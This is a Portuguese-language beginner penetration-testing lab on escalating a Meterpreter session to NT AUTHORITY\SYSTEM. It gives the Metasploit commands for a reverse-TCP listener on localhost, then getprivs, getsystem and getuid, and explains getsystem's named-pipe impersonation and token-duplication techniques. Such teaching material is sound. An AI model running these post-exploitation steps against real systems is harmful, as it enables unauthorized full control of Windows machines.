Escalar Privilégios com getsystem no Meterpreter

Kali LinuxBeginner
Pratique Agora

Introdução

No campo de testes de penetração, obter acesso inicial a um sistema alvo é apenas o começo. Frequentemente, o ponto de entrada inicial é uma conta de usuário com privilégios baixos e permissões limitadas. Para obter controle total sobre o sistema, você deve escalar seus privilégios para uma conta de nível superior, como Administrator ou, ainda melhor, NT AUTHORITY\SYSTEM no Windows. Este processo é conhecido como escalonamento de privilégios.

O Metasploit Framework fornece um poderoso payload de pós-exploração chamado Meterpreter, que inclui um comando versátil, getsystem, projetado especificamente para este propósito. Este comando automatiza várias técnicas para elevar os privilégios da sessão atual ao nível mais alto.

Neste laboratório, você assumirá o papel de um atacante que já obteve uma sessão básica do Meterpreter em um alvo Windows. Você aprenderá a usar o comando getsystem para escalar seus privilégios e confirmar seu novo nível de acesso.

Estabelecer uma sessão Meterpreter em um alvo Windows

Nesta etapa, simularemos a obtenção de uma sessão Meterpreter. Primeiro, precisamos iniciar o console do Metasploit Framework e configurar um listener para "capturar" a conexão de entrada de uma máquina comprometida.

Abra um terminal e inicie o console do Metasploit em modo silencioso para evitar o banner.

msfconsole -q

Uma vez dentro do prompt msfconsole, usaremos o módulo genérico multi/handler. Este módulo é projetado para lidar com conexões de entrada de vários payloads.

use multi/handler

Em seguida, precisamos informar ao handler qual payload esperar. Para este laboratório, usaremos um payload padrão do Windows Meterpreter reverse TCP.

set payload windows/meterpreter/reverse_tcp

Também precisamos configurar o endereço IP (LHOST) e a porta (LPORT) do listener. Definiremos LHOST para 127.0.0.1 (localhost) e LPORT para 4444.

set LHOST 127.0.0.1
set LPORT 4444

Agora, inicie o listener executando o comando exploit. Usamos o sinalizador -j para executá-lo como um job em segundo plano, o que manterá o prompt msfconsole disponível para outros comandos.

exploit -j

Você deverá ver uma confirmação de que o handler foi iniciado.

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

Para este laboratório, um processo em segundo plano simulará agora um host Windows comprometido se conectando de volta a você. Após alguns momentos, você deverá ver uma mensagem indicando que uma sessão Meterpreter foi aberta.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:49152) at YYYY-MM-DD HH:MM:SS +0000

Para interagir com esta nova sessão, use o comando sessions com o sinalizador -i seguido pelo ID da sessão.

sessions -i 1

Seu prompt deverá mudar para meterpreter>, indicando que você está agora dentro da sessão Meterpreter na máquina alvo.

meterpreter >

Verificar seus privilégios atuais com getprivs

Nesta etapa, antes de tentar escalar, é crucial entender os privilégios que nossa conta de usuário atual detém. No Windows, os privilégios determinam quais operações específicas em nível de sistema um usuário pode realizar, como depurar programas ou desligar o sistema.

O Meterpreter fornece o comando getprivs para enumerar os privilégios associados ao token do processo atual.

Agora que você está no prompt meterpreter>, execute o comando getprivs:

getprivs

A saída listará todos os privilégios detidos pelo processo do usuário atual. Alguns privilégios são habilitados por padrão, enquanto outros podem estar desabilitados.

============================================================
Enabled Process Privileges
============================================================
  SeChangeNotifyPrivilege
  SeIncreaseQuotaPrivilege
  SeShutdownPrivilege
  SeTimeZonePrivilege
  SeUndockPrivilege

Esta saída nos informa sobre nossas capacidades atuais. Para que muitas técnicas de escalonamento funcionem, certos privilégios como SeDebugPrivilege ou SeImpersonatePrivilege são necessários. Ver esta lista nos ajuda a planejar nosso próximo passo.

Tentar escalar para SYSTEM usando o comando getsystem

Nesta etapa, usaremos o comando principal do Meterpreter para escalonamento de privilégios: getsystem. Este comando é um script poderoso que tenta automaticamente várias técnicas diferentes para escalar os privilégios da sessão para NT AUTHORITY\SYSTEM.

A conta NT AUTHORITY\SYSTEM é a conta mais poderosa em um sistema Windows, com acesso virtualmente irrestrito a todos os recursos. Obter o controle desta conta é frequentemente o objetivo principal da pós-exploração.

A partir do seu prompt meterpreter>, simplesmente execute o comando getsystem:

getsystem

O Meterpreter agora tentará várias técnicas. Se for bem-sucedido, você verá uma mensagem indicando qual técnica funcionou. O resultado de sucesso mais comum é através de "Named Pipe Impersonation".

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

Se o comando retornar uma mensagem de sucesso, você provavelmente conseguiu escalar seus privilégios. Se falhar, significa que nenhuma das técnicas automatizadas funcionou no contexto do usuário atual, o que pode ser devido à falta de privilégios ou ao endurecimento do sistema. Para este laboratório, espera-se que o comando seja bem-sucedido.

Verificar novos privilégios com getuid

Nesta etapa, após executar getsystem, precisamos verificar se nossos privilégios foram realmente elevados. Uma maneira simples de fazer isso é verificar a identidade do usuário de nossa sessão atual.

O Meterpreter fornece o comando getuid para este propósito. Ele consulta o sistema e retorna o nome de usuário com o qual o servidor Meterpreter está sendo executado no momento.

No seu prompt meterpreter>, execute o comando getuid:

getuid

Se o comando getsystem foi bem-sucedido, a saída agora deve mostrar que você é o usuário SYSTEM.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Ver NT AUTHORITY\SYSTEM como o nome de usuário do servidor é a confirmação definitiva de um escalonamento de privilégios bem-sucedido. Agora você tem o mais alto nível de controle sobre a máquina alvo. Se você tivesse executado getuid antes de getsystem, ele teria mostrado o nome do usuário de baixo privilégio que você comprometeu inicialmente.

Discutir diferentes técnicas de getsystem

Nesta etapa, exploraremos o que acontece nos bastidores quando você executa getsystem. Este comando não é uma única função mágica; é um script que percorre uma lista de técnicas conhecidas de escalonamento de privilégios do Windows.

Para ver a lista de técnicas disponíveis, você pode usar o menu de ajuda do comando getsystem passando o sinalizador -h.

getsystem -h

Isso exibirá as opções de uso e uma lista das técnicas que ele pode empregar.

Usage: getsystem [options]

Attempt to elevate your privilege to that of local system.

OPTIONS:

    -h   Help Banner.
    -t   The technique to use. (Default to trying all)

Techniques:
    0: All
    1: Named Pipe Impersonation (In Memory/Admin)
    2: Named Pipe Impersonation (Dropper/Admin)
    3: Token Duplication (Admin)

(Nota: O número e o nome das técnicas podem variar ligeiramente entre as versões do Metasploit.)

Vamos detalhar brevemente o que essas técnicas significam:

  • Named Pipe Impersonation (In Memory/Admin): Este é o método padrão e mais confiável. Ele cria um serviço que é executado como SYSTEM, em seguida, cria um named pipe ao qual o serviço se conecta. Seu processo então personifica o contexto de segurança desse serviço, tornando-se SYSTEM. Tudo isso é feito na memória. Geralmente requer privilégios de nível de Administrador para ter sucesso.
  • Named Pipe Impersonation (Dropper/Admin): Isso é semelhante à primeira técnica, mas envolve a gravação de um arquivo (uma DLL) no disco. Isso é menos furtivo e tem maior probabilidade de ser detectado por software antivírus.
  • Token Duplication (Admin): Esta técnica encontra um processo que já está sendo executado como SYSTEM, rouba seu token de acesso e o aplica ao seu processo atual. Isso requer o SeDebugPrivilege, que permite inspecionar e depurar outros processos.

Por padrão, getsystem tenta todas as técnicas disponíveis (-t 0) até que uma seja bem-sucedida. Compreender esses métodos ajuda você a solucionar problemas quando getsystem falha e permite que você selecione manualmente uma técnica específica se tiver mais informações sobre a configuração do sistema alvo.

Resumo

Neste laboratório, você realizou com sucesso uma das tarefas mais críticas de pós-exploração: escalonamento de privilégios. Você aprendeu a alavancar o Metasploit Framework e seu payload Meterpreter para elevar seu acesso em um alvo Windows de um usuário padrão para a conta onipotente NT AUTHORITY\SYSTEM.

Você percorreu todo o processo, desde a configuração de um listener e o estabelecimento de uma sessão até a verificação de seu nível final de acesso. Especificamente, você usou:

  • msfconsole para configurar um listener.
  • getprivs para enumerar seus privilégios iniciais.
  • getsystem para escalar automaticamente seus privilégios.
  • getuid para confirmar que você se tornou NT AUTHORITY\SYSTEM.

Finalmente, você explorou as diferentes técnicas que o comando getsystem utiliza internamente. Esse conhecimento é inestimável para entender por que o comando pode ter sucesso ou falhar em diferentes ambientes. Dominar o escalonamento de privilégios é uma habilidade fundamental para qualquer testador de penetração, e getsystem é uma ferramenta poderosa em seu arsenal.